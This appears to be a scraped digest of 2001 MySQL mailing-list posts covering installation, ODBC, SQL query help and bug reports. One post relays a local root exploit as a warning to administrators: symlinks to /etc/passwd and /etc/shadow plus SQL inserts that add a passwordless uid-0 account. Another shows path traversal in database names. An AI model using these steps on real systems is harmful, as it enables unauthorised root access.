2001-03-22 Thread serconsur

include the Berkeley-DB library for the use the transaction in MYSQL. 
Could you send me a stable version of MySQL in standar binary RPM with

Re: How to create a script file?

2001-03-22 Thread Jorge del Conde

Hi,

Type all of the create statement in a text file (i.e. sql_file) and then
just call mysql [database]  sql_file from the prompt.

As for the editor, you can use any common text file editor available
(xemacs, vi, pico, nano).

Jorge

Re: RV: RPM with berkely-bd

2001-03-22 Thread Richard Ellerbrock

None exists. To create your own rpm is very simple:

Download source rpm
Install source rpm with rpm -i
Files will appear in /usr/src/redhat tree
Change to /usr/src/redhat/SPECS
Modify mysql.spec file to include BDB (just uncomment line on - easy to find)
Next build with rpm --bb --target=i686 mysql.spec (mysql.spec in the file lying in the 
SPECS dierctory)
Wait a while!
RPM's can be found in /usr/src/redhat/RPMS/i686
Install as normal

Once installed, change to /usr/src/redhat/BUILD/mysqlxxx/mysql-test and run 
mysql-test-run to test your binary.

Next delete the build tree from the /usr/src/redhat/BUILD directory.

Done.

  Subject:MyODBC driver window keeps popping up...
  
  Hi!
  
  How do I keep the MyODBC driver window (labeled "TDX mysql Driver
  connect") 
  from being displayed when I connect to MySQL via ODBC?
  
  This behaviour makes it impossible to automate the task of updating a
  MySQL 
  Database from an Access 97 Database via ODBC using a Macro in Access,
  since 
  the window pops up and waits for someone to press the OK button before the
  
  macro can continue.  I have checked the option for "don't prompt on 
  connect" without success.  I have also tried to pass "OPTION=16" along
  with 
  the DSN-connect string, also without success.
  
  Is there any way to do this?
  
  Our setup:  NT 4.0 SP5, mysql-3.23.35-win, myodbc-2.50.36-nt, MS-DAC 2.5, 
  Access 97 SP2
  
  We have an Access database that contains all the info to our technical 
  drawings, which I would like to extract and display on a web-page in our 
  intranet (LAMP) - I wasn't able to get ODBC under Linux to work, so I 
  installed MySQL under NT and exported the Access tables to MySQL.  These 
  tables change constantly, so the export also must be performed at least 
  daily, and most important, automatically at night.
  
  For this purpose I wrote a batch file like this:
  
  net stop mysql
  delete old mysql tables
  net start mysql
  call access with parameter /x macro-name
  
  The Access-macro has exactly 3 commands and looks like this (in German, 
  since its German NT and Access -- hope that's not a problem :-))
  
   Aktion: TransferDatenbank
  Transfertyp: Exportieren
  Datenbankformat: ODBC-Datenbank
  Datenbankname: 
  ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA

  Everything actually works surprisingly well, except for this problem with

  this...

Error Log Entries

2001-03-22 Thread Marvin Wright

Hi !

I've just upgraded to the new mysql server 3.23.32 and in the error log I now see 
'Aborted connection ... (Got an error reading communication packets)'.  
I have found information about this problem such as using the binary release instead 
of the source release.
I have now done this and it still appears in the log, the last thing it suggested was 
to check the patch level of Solaris.
I am running on a Sun Solaris 2.7 machine,  does anybody know what the recommended 
patch level is to stop this problem happening ?

Thanks.

Re: FW: potential vulnerability of mysqld running with root privileges

The problem in my opinion is allowing full pathnames in the database name,
regardless of symbolic links. If someone can write to your database directory,
you're in trouble anyway.

To do the above (without symlinks), you will need to have MySQL root privileges.


When I do it as non-privileged user, I get:

user@host:~$ /opt/mysql-3.23/bin/mysql -u joe -p -e 'create table testy (id int)' 
../../../../tmp
Enter password: 
ERROR 1044: Access denied for user: 'radius@localhost' to database '../../../../tmp'


Doing this as a MySQL privileged user (root), I get:

user@host:~$ /opt/mysql-3.23/bin/mysql -u root -p -e 'create table testx (id int)' 
../../../../tmp
Enter password: 
user@host:~$ ls -l /tmp/testx*
-rw-rw   1 mysqlmysql  0 Mar 22 11:25 /tmp/testx.MYD
-rw-rw   1 mysqlmysql   1024 Mar 22 11:25 /tmp/testx.MYI
-rw-rw   1 mysqlmysql   8550 Mar 22 11:25 /tmp/testx.frm


The inconsistency is that even as MySQL root, I do get an error when doing
show tables on this 'database'/directory:

user@host:~$ /opt/mysql-3.23/bin/mysql -u root -p -e 'show tables' ../../../../tmp
Enter password: 
ERROR 1102 at line 1: Incorrect database name '../../../../tmp'


This is in 3.23.33 with an unrelated bugfix.


MySQL should be consistent in its checking of database names and IMHO allowing
full pathnames in a database name is asking for trouble.


Regards,

Fred.

Use of MySQL with BIND 9

Hi!

You are right. But as it is Perl script, it truly depends on DBI that
you have and MySQL C library on which it is built.

  I don't see implementation of "CHECK" CONSTRAINTS in the TODO list (e.g. 
  
CONSTRAINT val_ck check (val = 0 and val =5)
  
  Is this planned? 
  
  I do see FOREIGN KEY constraints on the 4.0 list, so there is a way to do
  this kind of checking once this is implemented:
  
  * Create an associated "range-check" table with a primary key column, and
  add rows for the values you want to allow in your table column.
  * Put a foreign key constraint on your column to point at that table.
  
  This will at least ensure that you get a constraint violation if you attempt
  to insert something illegal.
  
  This works only for small ranges or other enumeration types (integer or
  string). E.g.
  
   create table check_phase_number (phase integer);
   insert into check_phase_number values (1),(2),(3),(4),(5);
  
   create table check_state_abbrev (state char(2));
   insert into check_state_abbrev values ('AK'),('AL'),('CA'), ...
  ('VT'),('WA');
  
   create table my_state_migration (
 phase integer constraint phase_fk foreign key references
  check_phase_number(phase),
 state char(2) constraint state_fk foreign key references
  check_state_abbrev(state),
 ...
   );
  

Hi!

We shall definitely consider putting it in 4.* branch.

Web Page Hit Counter

2001-03-22 Thread meyer

I am trying to log activity on a web site and then display the activity.  I want to be 
able to break it down by hour eventually. Right now I would like to get the total hits 
and the 
hits for today.  I have created a table like the one below.

create table hits (page_id INTEGER, htime DATETIME);

I can then use the queries below to get the information.  

Total hits on page
Select page_id, count(*) as hcount from hits group by page_id order by page_id


Hits today on page  
Select page_id, count(*) as hcount from hits where DAYOFYEAR(now())=DAYOFYEAR(htime) 
group by page_id order by page_id

My question is there a way to perform both queries at one time and generate a table 
with both total and daily information.  One problem is the the returned table have a 
different number of rows, because page X might not have been accessed today.  This 
means it does not show up in the second table.  If both queries are done together the 
daily count show be 0, in the combined table.

Also, I looked in the manual and could not find anywhere wether GROUP BY orders the 
data based on the grouping or do I need the ORDER BY clause.

Hope this is clear.

Thanks

Edward

LOAD DATA INFILE

2001-03-22 Thread Daniel Newman

I've been looking into the help files provided for this command, and
couldn't see a reference to the thing I'm wanting to do (so I've assumed it
can't be done). BUT, just wanted confirmation in case there's a way to do
this:

I'm expecting to get a CSV file soon that I need to import into my mySQL
database. Trouble is, the CSV file includes lots of columns that I don't
need, and some that I need in separate tables. I saw in the TODO list that
you will be offering the ability to choose which columns get included, but
can you do a join function on the LOAD DATA INFILE?

If not, would the only option be to generate new files (using FSO on NT)
that are stripped down versions of the source file specific to each table?
And then, to do the LOAD DATA multiple times with the new files?

Hope this isn't the only option, as I don't want to have to script that as
well!

Thanks for your help,

Daniel Newman.

 Hi there,
 
 I recently upgraded my Linux kernel to 2.4.2 and my perl DBI/DBD

 fine using either the root database login or a user login.  However, if
 I'm logged into Linux as a regular user I get an "ERROR 2002: Can't

 I checked the documentation on this but it seems stranger than

  Subject:   MyODBC driver window keeps popping up...
 
  Hi!
 
  How do I keep the MyODBC driver window (labeled "TDX mysql Driver
  connect")
  from being displayed when I connect to MySQL via ODBC?
 
  This behaviour makes it impossible to automate the task of updating a
  MySQL
  Database from an Access 97 Database via ODBC using a Macro in Access,
  since
  the window pops up and waits for someone to press the OK button before
the
 
  macro can continue.  I have checked the option for "don't prompt on
  connect" without success.  I have also tried to pass "OPTION=16" along
  with
  the DSN-connect string, also without success.
 
  Is there any way to do this?
 
  Our setup:  NT 4.0 SP5, mysql-3.23.35-win, myodbc-2.50.36-nt, MS-DAC 2.5,
  Access 97 SP2
 
  We have an Access database that contains all the info to our technical
  drawings, which I would like to extract and display on a web-page in our
  intranet (LAMP) - I wasn't able to get ODBC under Linux to work, so I
  installed MySQL under NT and exported the Access tables to MySQL.  These
  tables change constantly, so the export also must be performed at least
  daily, and most important, automatically at night.
 
  For this purpose I wrote a batch file like this:
 
  net stop mysql
  delete old mysql tables
  net start mysql
  call access with parameter /x macro-name
 
  The Access-macro has exactly 3 commands and looks like this (in German,
  since its German NT and Access -- hope that's not a problem :-))
 
  Aktion: TransferDatenbank
 Transfertyp: Exportieren
 Datenbankformat: ODBC-Datenbank
  Datenbankname:
  ODBC;DSN=Zeichnungen;DB=Zeichnungen;SERVER=edv;PORT=;OPTION=16;STMT=;;TA
  BLE=documents
   Objekttyp: Tabelle
  Quelle: documents

  Everything actually works surprisingly well, except for this problem with
  the popup window... it would be really great if there was a solution for
  this...
 
  Thanks in advance!

 Hi list!
 
 I try to change my data dir from the default /var/lib/mysql to /usr/mysql .

 - changing the datadir in /etc/my.cnf to /usr/mysql
 - mysql restart
 - works fine
 
 On my ded. server I have RedHat 7 running, I installed the downloaded
 3.23.32 rpm and now I tried to move the datadir.
 
 My steps on RedHat:
 
 - copying all databases cp -R * /usr/mysql
 - there is no my.cnf in standard install, so I changed in the start script
 /etc/rc.d/init.d/mysql the line $datadir=/usr/mysql
 - mysql restart
 - demon gives up with the following statement in error log: "Can't find
 ./mysql/host.frm"
 but the file is there, also chowned to mysql:mysql ...
 
 next thing I did was setting up a symlink in /usr/mysql to the
 /var/lib/mysql/mysql directory ... that the demon gets the original data ...
 same comment in error log.
 
 Do you have a solution or a step by step manual for me?
 
 Any help is appreciated.

When you copied the database, you probably did it as root.
Now mysql doe not own the directories and data.

chown -R mysql /usr/mysql

UPDATE problems in 3.23.35 ?

2001-03-22 Thread Petter Larsson

Hi, 

I recantly upgraded from 3.22.32 to 3.23.35 using an rpm from
www.mysql.com.
My platform: Redhat Linux 2.2.14 i686 

The problem is now that UPDATE do not always succed. I get a query OK
but no 
update is done unless the same query is issued once again.

This problem is not constant but rather comes and go.

Case 1: Failure

mysql select * from test;

| id | value |
++---+
|  1 |xx |
++---+
1 row in set (0.00 sec)

mysql update test set value='yy' where id=1;
Query OK, 0 rows affected (0.00 sec)

mysql select * from test;
++---+
| id | value |
++---+
|  1 |xx |
++---+
1 row in set (0.00 sec)


Case 2: Failure first time, but second time the update is done

mysql select * from test;
++---+
| id | value |
++---+
|  1 |xx |
++---+
1 row in set (0.00 sec)

RE: MYSQL on Windows 2k

Are you in the right directory, or do you have your PATH environment
variable set to point to the right directory? Running mysql from C:\windows\
is unlikely to work unless you've tweaked your settings.

Re: SELECT COUNT()...

2001-03-22 Thread Bob Hall

Hi,
I have these 3 tables which hold order information
for a web site.

One table holds the shipping info/credit cart stuff,
another one holds one type of item ('home accents'),
and the other one holds house plans.

When someone orders these items, due to the options on
house plans, I must store the order information for
plans and accents in 2 seperate tables. So, I broke
the order info down into the 3 tables described above.

Each of the accentorders and planorders tables have
an order_id field which coresponds to the ID field
in the mainorder table (which holds the shipping and
CC info).

All this works fine, however I'm stumped on one issue.
I want to use one select statement and get all the items
for that one order AND figure out how many 'Plans' that
order has and how many 'Accents' the order has.

I've tried this select statement:
SELECT orders.id,orders.ship_co_name,orders.ship_name,orders.order_date,
orders.order_total,orders.order_complete,orders.bad,
COUNT(DISTINCT planordermain.id) AS plans,COUNT(DISTINCT 
accentorderdetail.id) AS accents
FROM orders,accentorderdetail,planordermain
WHERE ((orders.id=accentorderdetail.id) AND 
(orders.id=planordermain.order_id))
GROUP BY orders.id
ORDER BY orders.order_date ASC;

Which gives:
++--+++-+ 
+-+---+-+
| id | ship_co_name | ship_name  | order_date | order_total | 
order_complete | bad | plans | accents |
++--+++-+ 
+-+---+-+
|  1 | Mindbender   | Johnny Withers | 3/20/2001  | 1426.85 | 
0 |   1 | 2 |   1 |
|  2 | Mindbender   | Johnny Withers | 3/21/2001  | 1538.13 | 
0 |   1 | 2 |   1 |
|  3 | Mindbender   | John Doe   | 3/21/2001  | 2084.13 | 
0 |   1 | 3 |   1 |
++--+++-+ 
+-+---+-+

It gives correct results for 'plans' but incorrect results for accents.
Also, if a user doesn't order any 'plans' but orders 'accents' this query
will not return any results at all (because of the AND in the where).
I tried to use OR, but then I get (orders*plans_ordered*accent_orders) which
is not right either.

In other words, you want to preserve the orders table, which means an 
outer join.
FROM (orders o LEFT JOIN accentordetail a ON o.id = a.id)
 LEFT JOIN planordermain p ON a.id = p.id
This replaces both your FROM and WHERE clauses. (If you use the 
aliases you'll have to use them in the rest of the SQL statement 
also.)

At first blush, the Count() problem looks like a data problem. Being 
lazy, I'm not inclined to set up a database and try to duplicate the 
problem when I don't see a problem with the SQL. I'm not saying the 
problem isn't in the SQL, I'm just saying that I'm lazy. If you 
posted the data in the tables that resulted in the output above, I'd 
be more inclined to proceed to the next step. In general, it makes it 
easier for people on the list to help you if we have both the input 
and the output.

It's possible that the outer joins will solve the Count() problem, 
but I can't tell without the input data.

Thanks for the input.

Re: SELECT help

2001-03-22 Thread Bob Hall

Hi,

This is my first posting, although i've been signed up to the list for a
while.

My problem is this.

Table A (5000 rows)
ID, NAME, SCORE

Table B (1000 rows)
ID, NAME, SCORE

I want all records from Table A and those from Table B where they match, for
this i'm using a right join.  However, there are rows in Table B which don't
match any in Table A, but i need to include these as well.
Any help would be appreciated.

Ben.

Sir, I haven't seen an answer to your question, so here's one way of 
getting what you want.

What you want is basically the union of three groups of rows: the 
rows from A and B that match, the rows from A that don't match B, and 
the rows from B that don't match A. Your outer join returns the first 
two groups. The last group is returned by a difference query: the 
rows in B that don't match any of the rows in A (B - A). Since MySQL 
doesn't yet support UNION, you will have to load the result tables 
from both queries into another table, and then SELECT * from that 
table.

I have a description of the standard difference query on my website; 
http:/users.starpower.net/rjhalljr, click on MySQL on the sidebar, 
click on SQL, and look for the difference query topic.

Hmmm. The same thing happened to me with the 3.23.35 rpm on Linux Redaht 7.0.
I had to do a 'slave stop/start' for the slave to recover.

Re: Pauses with large selects

Sinisa Milivojevic wrote:
 
 Hi!
 
 With :
 
 select * from table;
 
 queries MySQL returns results immediately.
 
 Any problem that you experience might come only from poor build, some
 OS bug or some wrong settings.

Thanks for the reply! That's good to know at least.  I really didn't
know
if anything was wrong or not.

I've been looking through the docs and the list for a few days, but it's
tricky when you don't really know what to look for (searching for
stuff like "select" and "pause" doesn't help much ;-).  However, I
think I finally stumbled upon at least part of my problem...   It's
"mysql_store_result" vs. "mysql_use_result"! 

Since both Perl's DBI and the mysql command use "mysql_store_result" by
default, all rows are buffered up before being returned - the more rows
the longer the delay. Informix behaves more like "mysql_use_result"
where results are returned as they are found.

The other problem is the delay when closing a select early.  From what I
gather it seems like it's not possible to abort a select without first
reading all the rows. I'm guessing the mysql client and Perl DBI both
hide this by just doing the equivalent of sending what remains to
/dev/null (hence the delay). 

I guess it's not really a problem now that I know what to expect.  I
just have to remember to include limits on all my selects.  It's just a
bit of a re-think since until recently, Informix had no statement like
LIMIT and it's normal to simply close the cursor (finish() under DBI)
once you've found what you're after.

Thanks,

S. Lemmon

Build problem with files strings/xxxx-x86.s

Description:
Compilation problem on SunOS intel.
How-To-Repeat:
Try to build using gcc (package from sunfreeware) and configuring

--enable-assembler \
--localstatedir=somewhere

then files
strings/strings-x86.s

make the assembler choke.
When I pass them through gas on my FreeBSD box, they compile fine:

cpp  strings-x86.s  | as -o strings-x86.o
cpp  longlong2str-x86.s | as -o longlong2str-x86.o

I copy them over to the SunOS box and it works almost. I'm getting

mentioned files. Please apply the following patch to your source.

Databases are essentially just directories.  What you do is create a

Subject:create db in separate directory


 I'm working on a web-hosting site where we'll be giving users a MySQL
 database.  We wanted to store the database in the user's own directory,
 where we'll be enforcing size quotas.  So far though, I haven't been able
to
 find a way to create a database in a directory other than MySQL/data.
I've
 seen a couple of references to symbolic links but am not sure if this is
the
 answer.

Re: MySQL and XML?

2001-03-22 Thread bill


 I know Oracle has been modified to use XML files as the database, 
 making queries directly to a flat file

No, thats not how it works.

They format the *output* with XML making it easier for an application
that can parse XML to import the data.

BUG: alter table destroys symbolic links!

2001-03-22 Thread Christian Hammers

Hello

If table xyz is a symbolic link (recommended in the manual for very big files
that do not fit on a single partition) then "ALTER TABLE xyz TYPE=ISAM;" 
ignores this, removes the link and recreate the table on the data directory.

I consider it a bug, as it is 
a) not what the user expects, even repair, optimise and other alter table
   functions do not work like this
b) a user that has no shell account has no other way to alter the table type
c) this can be used as a denial of service attack as mysql hangs when 
   getting a "no space left" error message and this is a way to more around
   the system administrators disk-quota settings!

This was tested with the latest MySQL-3.23.35 on linux (ext2  reiserfs,
although this shouldn't matter in for the symlink handling) 

bye,

 -christian-

Re: alter table destroys symbolic links!

2001-03-22 Thread Eric Fitzgerald

I'm gonna take a crack at this.

The type keyword in the alter table command is there to convert databases
from one type to another.  While yes, I do think that the MySQL team could
check if the types are the same and not recreate the table if it isn't
necessary.  I don't consider it a bug that they don't.  If you want to
prevent this from happening, I suggest you have an entire database on the
other partition/drive with the symlink.  Then the only way your tables won't
exist over on the second drive is if you drop the database.

Dynamic Custom Sort Orders

2001-03-22 Thread Michael Todd Glazier

hey all! I'm developing a CGI app for access to a mysql table. I want 
to offer users the ability to arbitrarily sort the results. That is, 
given the following table:

letter
-
A
B
C

I want to sort the results as B,C,A , C,A,B, and such. I need to do 
this from a single select statement so I can use the LIMIT parameter 
to keep state and page through the results.

The best solution I've come up with so far is to dynamically build an 
IF statement like the following. Assume the requested order is C, A, B

SELECT letter, IF(letter='C',1,IF(letter='A',2,IF(letter='B',3,4))) 
as MYORDER FROM alpha ORDER BY MYORDER

This works, but it seems a tad clumsy. Also, the real table and sort 
order uses and combines multiple columns, so it gets really hairy. 
How to use formulas to affect sort order in the ORDER BY clause isn't 
clear to me (other than RAND()), so I'm wondering if a cleaner 
solution lies there.

Any thoughts would  be appreciated

Peace,

Michael Todd

RE: Dynamic Custom Sort Orders

2001-03-22 Thread Quentin Bennett

Hi,

This is a bit unclear - any sorting is either based on some combination of
values, be they columns, bits of columns, static values or random values,
and so can be expressed as an Order BY clause.

For example, I have a report that allows the user to say in which order the
columns should be sorted, and create an order by clause (in 'C') from their
selections.

Are you able to clarify things a bit further?

Quentin

can't find shr.o???

2001-03-22 Thread Tim Tyler

Mysql experts,
  I downloaded the binary distribution for AIX on a Risc/6000 and tried to
install it.  However, when I get to the mysql_install_db part I get the
following error which ultimately fails to complete.

# scripts/mysql_install_db
Could not load program ./bin/my_print_defaults:
Dependent module /usr/local/lib/libz.a(shr.o) could not be loaded.
Member shr.o is not found in archive 


What exactly does this mean?  Does this imply that it was precompiled with a
compiler and libraries that I don't have?  Note: We don't have Xlc
installed, but we do have gcc installed.  If so, does this mean I have to
compile from scratch with gcc?  Is there a binary distribution for aix
having been compiled with gcc?  Or is there another solution to this
problem?  Any thoughts on this matter are much appreciated.

First off check you version of aix.  Also you have to  install the zlib
packed, that is where you will find libz.a  library I had this very problem
and it took me a whie to hunt down aprpriate files.

I was on aix 4.3.0 and now 4.3.3(the zlib package needs thenewer OS.)  you

RE: can't find shr.o???

2001-03-22 Thread Summanen,Jack

I would look into the Lib paths...though this is a quick sanity check...(I
have to ask)

when you execute the script mysql_install_db
are you in some pathmysql-3.xx.xx-aix/
or in the scripts directory?  I ask because that can mess the script up.
since it is looking into a relative directory for the bin directory.

warning: mysql local root exploit when running as root

2001-03-22 Thread Christian Hammers

Hello

This one appeared on a Debian mailing list.
I know that this is fixed in the latest versions as they allow running the
server as non-root user and so it is not considered as a bug ()
but I'm sure that there're administrators out there which are not aware of
this exploiting method!

Hi,

At first, an apology if this came by earlier, i accidentally removed quite
some debian-* mail, and i don't know of a -private archive for developers.

As seen on some mailinglist, can't remember which one:

$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n');
\q

Testing/unstable both have =3.23-ish, stable has 3.22-ish. testing/unstable
are not vulnerable, i didn't have a stable box at hand to try.
Anyone who has tried this on stable? In my opinion, the whole idea of being 
able to specify an alternate database location to the mysql server is a 
problem, and I never have seen a real use for it (correct me if i'm wrong).
I'm pondering on filing a bug against mysql-server for the whole
alternate-location thing (bugs keep popping up with stuff ranging from these
symlink tricks to stuff like 'select * from infile'-ish problems that allow
reading from any file).

Greets,
Robert

First there is a very good doc on www.mysql.com and you can find info on 
www.devshed.com but also on many other websites. Use your favorite 
searchengine!
You might want to buy a good book. I'm using "MySQL  mSQL from O'Reilly" 
and "MySQL from New Riders (written by Paul DuBois)".
If you need a step by step guide I can recommend the book written by Paul 
DuBois. www.devshed.com will provide you with an online step-by-step guide.

Case Sensitive??

2001-03-22 Thread MikemickaloBlezien

Hello All,

I have a table with a column called "bus_name" varchar(100) which is used in a
Business Name search form. I need to make the Business Name that is entered into
the search form case in-sensitive to the column "bus_name" IE. If we have a
entry in the column "bus_name" "The Happy Shop", and someone enters "the happy
shop" or "THE HAPPY SHOP", it will still return a match. If I add the attribute
"BINARY" to the colunm "bus_name" will this make it case-insensitive or is there
another way to do this within the SQL query??

TIA,

If you add BINARY to the column it WILL make it case sensitive.

 I'm expecting to get a CSV file soon that I need to import into my mySQL
 database. Trouble is, the CSV file includes lots of columns that I don't
 need, and some that I need in separate tables. I saw in the TODO list that
 you will be offering the ability to choose which columns get included, but
 can you do a join function on the LOAD DATA INFILE?
 
 If not, would the only option be to generate new files (using FSO on NT)
 that are stripped down versions of the source file specific to each table?
 And then, to do the LOAD DATA multiple times with the new files?
 
 Hope this isn't the only option, as I don't want to have to script that as
 well!

MySQL question

2001-03-22 Thread Erik Slazyk

Hello,
I am developing a web database for a new small-time real estate company, and 
I have been reading into using MySQL. I have read that there is minimal 
email support for MySQL problems, unless one pays for one of your 5 support 
packages. What I would like to know is, if they decide to use MySQL, how 
much support is "minimal" support? What will you guys answer and not answer 
if they do not pay for the support? (I have recommended to my clients to go 
with the $200 a year package, but this was one of their questions before 
making a decision.)
Thank you for your time!
Erik Slazyk

MYSQL using PERL

Hai,
I am using Red Hat Linux 7. From where can I get example programmes of 
connectiong to MYSQL using PERL under Linux.

Thankyou

Re: MySQL question

2001-03-22 Thread Thalis A. Kalfigopoulos

I don't know how you define 'minimal' but approximately 100+ emails per day from the 
user list and a response time from 5 minutes to 24 hours should be adequate for the 
average "small-time real estate company" as you call it. Coming to "What will you guys 
answer and not answer", I guess there is no pattern. Whatever one fancys.

Then again, since some people should be making smthing out of it, I suggest you go for 
the $200 package, even if you do get your answers through this list :-)

regards,
thalis

Large search engine

2001-03-22 Thread Cedric Veilleux

Hi,

  I am planning a very large search engine. I've spent some time reading
the archive and I found some suggestions on how to do this. The word
indexing method is a very interesting alternative to slow "...where like
'%foo%';" queries.

  There is from 100k to 500k documents to index, each are about 10
KBytes large. Plain text.

  The search engine will allow complex boolean queries (AND, OR, NEAR,
NOT).

  I have 2 plans in mind, I'd like to have opinions on what's would be
the most efficient.

First Way:
We populate 2 tables:
one containing the documents (text and ID)
one containing all the words and the documents ID containing each word

The idea is to first filter the documents and then to perform a query in
the documents that contains at least one of the words, so we're supposed
to get a decent speed.

I know this is used by many people and I know it gives good results,
even when searching through 100k+ documents. Although, I am wondering if
there is not a way to do it without any use of LIKE statements. I really
don't know if what I have in mind is a good idea, it may be completely
stupid and inefficient, I have very little DB experiences.

Anyways, what if in the table containing the words and the matching
document ID's, we also specify where in each documents the word is
located.

ex:
WORD|   DOCS |   LOCATIONS
sun | 32;45;1302 | 3 ; 554,1022 ; 76,675,3445

So word sun is the third word of doc 32, the 554th and 1022th word doc
45, etc..

Then the search script will do all the job without sending any other
queries. May get quite complicated but it should work, it may also be
easier to process sun NEAR star (maybe this is easy to do with LIKE too,
I don't know, but I saw nothing in the docs.)


Thank you,

Cedric Veilleux

There was just yesterday a big thread regarding exactly this issue.

As far as I can tell, this is already fixed and will be available with

Re: Large search engine

2001-03-22 Thread René Tegel

where's the second option?

about your construction:
 We populate 2 tables:
 one containing the documents (text and ID)
 one containing all the words and the documents ID containing each word

how you plan to make 1 table with words, and several (unlimited)
document_ids?

what you'll need is:
1 table with doc_ids (and perhaps document)
1 table with words
1 table which links words to docs
1 table which gives the position of a word in a doc.

create table documents (doc_id integer primary key auto_increment, document
text);
create table words (word_id integer primary key auto_increment, word
varchar(255));
create table occurences (occ_id integer primary key auto_increment, doc_id
integer, word_id integer);
create table positions (pos_id integer primary key auto_increment, occ_id
integer, position integer);

this way you can handle "unlimited" words with "unlimited" occurences in
"unlimited" documents.

any other solution would force you to construct very inefficient tables, or
use of blob fields which really horribly would slow down your db when adding
data for example, and is generally a very very bad way you shouldn't even
think of.

More tables may look like more programming, but you'll notice things are
easier since this is a correct solution.

i'd suggest you read some stuff about normalisation though! get a nice
(my)sql book, or search for online docs (loads of references can be found in
this mailing list for example!)

btw: your email address looks like "postmaster", is this a bug in the lists
or are you subscribed as postmaster?

regards,

rene

Re: Connection related SIG 11 crash in 3.23

2001-03-22 Thread Richard Ellerbrock

Ok... I've posted briefly regarding this, but heres a complete bug report. 
Yeah I know its kinda long, but I thought it better to include more rather 
than less.

We are seeing a problem which results in mysqld dying with a SIGSEGV. The
problem has been confirmed on both these machines

Linux lindt 2.2.18 #2 SMP Mon Feb 26 15:23:32 EST 2001 i686 unknown
Dell PowerEdge 4300 - Dual Pentium 3-500 - 1Gb RAM, 1.6Gb swap

Linux lisa 2.4.1 #7 SMP Fri Feb 16 15:21:45 EST 2001 i686 unknown
IBM Rackmount Server 325 - Dual Pentium Pro-200 - 512Mb RAM, 1Gb Swap

And using mysqld versions 3.23.32,3.23.33 and 3.23.35. To confirm that the
problem isn't related to libraries, compilers or configuration specific to our
build environment, I have also tested the standard linux-i386 binary distro of
3.23.35, and the problem also exists there.

I tested your case on my test machine (Redhat 6.2 with latest patches):

Linux krusty 2.2.16-4.lfs #1 Wed Jul 12 14:08:46 EDT 2000 i686 unknown
IBM P-Pro 200 256MB 128MB Swap

Using a self compiled RPM of MySQL 3.23.35 - no problems here. How long must I run 
before the problem manifests itself? 30mins ok? It is still running though.

I see both your machines are SMP. Try to boot with a UNI Processor kernel and see 
again. There have been problems in the past with SMP installations.
